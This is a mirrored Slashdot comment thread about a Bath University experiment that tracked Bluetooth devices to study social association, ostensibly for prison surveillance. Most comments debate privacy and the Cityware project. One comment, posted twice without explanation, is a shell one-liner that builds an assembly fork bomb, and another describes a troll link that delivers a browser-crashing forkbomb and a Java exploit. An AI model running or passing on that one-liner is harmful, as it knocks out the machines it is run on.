Slashdot Mirror
Bluetooth Surveillance Tested In the UK
KentuckyFC writes "If you live in the city of Bath in the UK and carry a Bluetooth-enabled device, your movements may have been secretly monitored in an experiment designed to test surveillance techniques in prisons. Researchers from Bath University recorded the movements of 10,000 Bluetooth-enabled devices during their 6-month trial. They say the experiment was a test of a technique for monitoring the interactions between prisoners in jail that could be used to work out which inmates have become closely associated. The work was prompted by revelations that the Madrid train bombers who devastated the city in 2004 first met in a Spanish prison (abstract)."
expect civil liberties to really hit the roof over this one... whatever happened to the right of free association?
Donald 'Duck' Dunn: We had a band powerful enough to turn goat piss into gasoline.
This project is going to discover that the GUARDS have contact with prisoners that go on to commit crimes.
Prisoner-A and Prisoner-B commit a terrorist act of child pornography and BOTH of those prisoners will have had contact with Guard-C in Prison-D. Therefore, every other prisoner who had contact with Guard-C is a potential terrorist child pornographer.
Really. That's all that you're going to find from this. This is a waste of money.
Tracking prisoners? With Bluetooth devices? Horseshit.
RFID is a far better choice - it's passive (no batteries) and it's cheap. I bet the purpose of Bluetooth tracking is to track non-imprisoned people.
So I guess Britain's not even pretending anymore that there's a difference between free people and imprisoned criminals.
Who wants to bet that this data will be subpoenaed in a case in the future?
If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").
As if people up to this sort of nefarious thing would carry bluetooth devices, or use non-disposable cell phones.....
Obviously prisons are a poor solution to the "undesirable waste persons" created by our economic system.
Perhaps more resources should go into fixing the socio-economic situation that drives the behavior that gets people into the prisons....
Don't click notlong.com link in parent. Nasty stuff.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Why not giving cellphones to the prisoners?
I mean, what kind of devices you give to prisoners so they are not able to hack and communicate without being close to each other?
What does the case study prove really? Only that prisoners talk to other prisoners. I fail to see how this proves intent.
Sure while in prison a prisoner may talk to someone who may have ties to a terrorist organization. But if/when they get out and they do not commit terrorist acts, the hours spent on tracking him would be for not.
The game.
If you live in the UK, (especially London) you know your movements are being monitored - there's a bloody video camera every 12 feet.
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
.. the tracking feature in your current cell phone? The nature of "Cells" enables device tracking.. Thats how it works.. Cells monitor and could record differential signal strength and plot your movements easily. Even with the tracking feature "disabled" I; for one welcome ....
... I'll have a Pan Galactic Gargle Blaster with a side of Plutonium Nyborg
Newsflash: Broadcasting a signal to anyone in range is a very easy way to get yourself tracked.
What about battery life issues? and the devices may be used as a weapon as prisoners are very good with tuning just about anything into one.
Unrelated to the article....Where the hell are our Bluetooth Star Trek combadges? Hmmm? I mean, really, how farking hard can this be?
-A PC is set up as a "server" station.
-Off The Shelf earpieces are paired up to the bluetooth dongle.
-Server keeps a record of what's paired to it.
-Remote PC's act as access points that check with the main machine to see what earpieces are paired to the system and who they are assigned to for symbolic link purposes.
In my quasi-clued brain, I can see the outline for a locater service (Vox commands like "locate bob" that query what machine bob was last paired to, or is currently paired to) and simple voice comms over Asterisk from earpiece -> station to station -> earpiece.
The shortcomings would be someone who's not in range of a bluetooth dongle is out of communication, someone who's no carrying their badge (which we've never seen happen before in any episode of star trek), and trying to split comms between two dongles that are paired to the same access point.
C'mon internet. Get off your fannies and get cracking!
There are some people that if they don't know, you can't tell 'em.
While this seems like a dirty Big Brother thing to do, and something that many Americans would think that are government would never do, I wouldn't put it past the US to do just that. In their defense, why not? If they are _truly_ doing it for the better good (prisons, terrorist tracking, etc), is it really all that bad? You cant devise a better test case scenario... Some food for thought anyway. I have pretty strong opinions for both sides on something like this.
Bluetooth is so secure anyway... they're no way they could exploit it... /ROFL
I can't call that English
Since I don't actually want to click the link, what's actually on this slashblog.notlong.com that keeps getting troll-linked?
The only thing that can save us is our government's incompetence.
How many cups where there, and how many girls?
What if Tetris was invented by Nazis?
there is a terrorism angle....
These guys are going about it all wrong. Just come up with a child safety angle and your shit's gold, winston!
It was a crime school. I went in with a Bachelor of marijuana, came out with a Doctorate of cocaine.
I went to eat some animal crackers and the box said, "Do not eat if seal is broken." I opened the box and sure enough..
It redirects to a link on nimp.org which is the last measure - a load of shock sites and a loud samples. If you have flash or javascript enabled it will crash the browser with essentially a forkbomb. I opened it in Opera with flash and javascript off and it looks like it's trying a Java exploit too.
http://www.nationmaster.com/encyclopedia/Last-Measure
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It certainly hasn't been secret - the project was made available as a facebook app, so you could track your whereabouts, and see who you hung out with most often (pretty shitty stuff, but still...) I would bet that most of the data weren't even collected by Bath University themselves, but by third party "hotspots" who thought it was a cool idea.
I reckon I first encountered the Facebook app about a year ago. Also, if you're wandering round with your Bluetooth on, someone seeing where you are is probably about the least invasive thing they could do. It's also almost certainly legal to pick up what someone else is broadcasting, unencrypted, within 50 yards of your current location, regardless of whether or not you feel that it should be.
The author forgets to mention that the website of the research group, which you think might be somewhat relevant. I'm a student at Bath. I'm not connected with the research, but I have attended (highly secret) public seminars where they talk about their work, and it isn't evil or secret or somehow going to lead to the end of humanity as we know it. They are a group of computer scientists with vague, fluffy ideas about how they can understand people by logging bluetooth device interactions. The network of sensors is rubbish. I have a bluetooth phone which I have registered with the associated facebook application... In the few weeks I have been registered I have been spotted associating with two other bluetooth devices... neither of which I know the owner of. Although I'm commenting on Slashdot, I have believe it or not, associated with more than two people in the last 3 weeks!
for prisoners, they will be implanted with double-inner-outer sphincter gateway THRESH HOLDS to determine which have conjugal relationships that might INspire acts of violets, ummm, violence outside the walls of the pre-sons.
Now, we need to come up with a new ANAL LOGGY for "You've got BLING AROUND THE CALLER". Does that make the prison "bitch" a fish, a thresher, or a threshing fish?
Hmm, that only shows who's being conjugated UPON. So, maybe the guards and administrators need them, too. Bluepoo Chastity Devices.. BCDs... Bad Conduct Detection devices?
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
After a quick read of the paper, it seems like another use for data collected in a similar way to their Cityware project (although there's no mention of data being shared between the two, they seem to use similar techniques to log bluetooth device encounters).
The crux of their argument seems to be "you can infer personal relationships by looking at which people spend time together in different places," along with a lot of stuff about how the raw data can be analysed to discern this. I can see how this could provide useful information in a prison setting where participation is enforced rather than optional, probably using RFID rather than bluetooth.
Cityware is a project looking at links between social networks online and in real life. They have created a facebook application which allows you to track who you're most in contact with around their base stations in real life (I know there's several around the Bath Uni campus). It works to an extent but is mostly limited by who happens to have bluetooth on and has gaps in their timetable at the same time.
More worrying is how else this data can be used. Last semester I, as part of a group of students, developed a prototype application for a smart phone which would scan for bluetooth devices, look up the facebook profiles of any which were known to Cityware and display a list of people, with a photograph, on the phone's screen. It could also log where you'd met certain people using GPS and store this on a remote database.
I wish to remain anomalous
repetitive troll is repetitive, meh.
The 2004/03/11 Madrid train bombings killed almost two hundred people, mostly commuters. Bombs exploded while trains where stopped at stations, but didn't produce many material losses. So the "devastation" was only human and animical.
Bluetooth phones can be set to function in 'hidden' mode. Doing this makes the phone visible only to another paired Bluetooth device. A paired device is one that you trust and connect to frequently-say your headset or laptop. Pairing also requires a shared key for encryption. I always operate bluetooth in hidden mode when I need it (typically i use the headset while driving), and I turn it off when not needed to conserve battery power.
How is this a problem? Keep your bluetooth turned off when you're not using it, and make it visible only to paired/trusted devices. Leaving it on and visible also exposes you to bluetooth attacks and mobile phone viruses that spread via infected bluetooth messages.
"..One hosts to look them up, one DNS to find them, and in the darkness BIND them."
You may be interested in this follow-up article:
http://cityware.org.uk/vk/files/bluetooth_privacy.pdf